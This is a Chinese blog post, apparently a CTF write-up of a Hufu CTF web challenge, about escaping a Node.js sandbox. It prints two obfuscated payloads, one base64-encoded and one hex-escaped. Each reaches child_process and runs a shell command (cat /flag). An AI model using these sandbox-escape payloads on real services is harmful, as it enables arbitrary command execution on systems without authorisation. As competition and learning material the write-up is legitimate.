虎符ctf web复现 第二题

解题思路:

根据提示,访问run.php页面

发现源代码,分析发现是根据报错信息来判断,然后上网看了其他人的wp,用了一位大佬的payload

os:我是真不懂大佬怎么那么强?着payload是咋整出来的??(っ °Д °;)っ

回显出以下页面

然后重点来了!!!🙃

 

 一口老血吐出🙃。大佬们是怎么找到这个的???

这里我们可以利用反引号来把文本括起来作为字符串

第一种就是base64编码绕过进行沙箱逃逸

global[[`eva`,%20`l`].join(``)](Buffer.from(`VHlwZUVycm9yLnByb3RvdHlwZS5nZXRfcHJvY2VzcyA9IGYgPT4gZi5jb25zdHJ1Y3RvcigicmV0dXJuIHByb2Nlc3MiKSgpOwp0cnkgewogICAgT2JqZWN0LnByZXZlbnRFeHRlbnNpb25zKEJ1ZmZlci5mcm9tKCIiKSkuYSA9IDE7Cn0gY2F0Y2ggKGUpIHsKICAgIGUuZ2V0X3Byb2Nlc3MoKCkgPT4geyB9KS5tYWluTW9kdWxlLnJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjU3luYygiY2F0IC9mbGFnIikudG9TdHJpbmcoKTsKfQ==`,%20`base64`).toString(`ascii`));

第二种就是hex编码绕过方法:

?code=(function(){TypeError[String.fromCharCode(112,114,111,116,111,116,121,112,101)][`\x67\x65\x74\x5f\x70\x72\x6f\x63\x65\x73\x73`] = f=>f[`\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72`](`\x72\x65\x74\x75\x72\x6e\x20\x70\x72\x6f\x63\x65\x73\x73`)();try{Object.preventExtensions(Buffer.from(``)).a = 1;}catch(e){return e[`\x67\x65\x74\x5f\x70\x72\x6f\x63\x65\x73\x73`](()=>{}).mainModule.require((`\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73`))[`\x65\x78\x65\x63\x53\x79\x6e\x63`](`cat /flag`).toString();}})()

然后我使用的是第一种方法,直接得到了flag

 

 总结:这题考的也是nodejs,不过还考他的沙箱逃逸。

难点就是怎么绕过验证,大佬是这么说的

 

 其实就是通过反引号来让我们构造的payload绕过验证即可。

加油!大家一起冲冲冲!

 

posted @ 2020-04-21 22:48  Hbbbbbb  阅读(262)  评论(0编辑  收藏  举报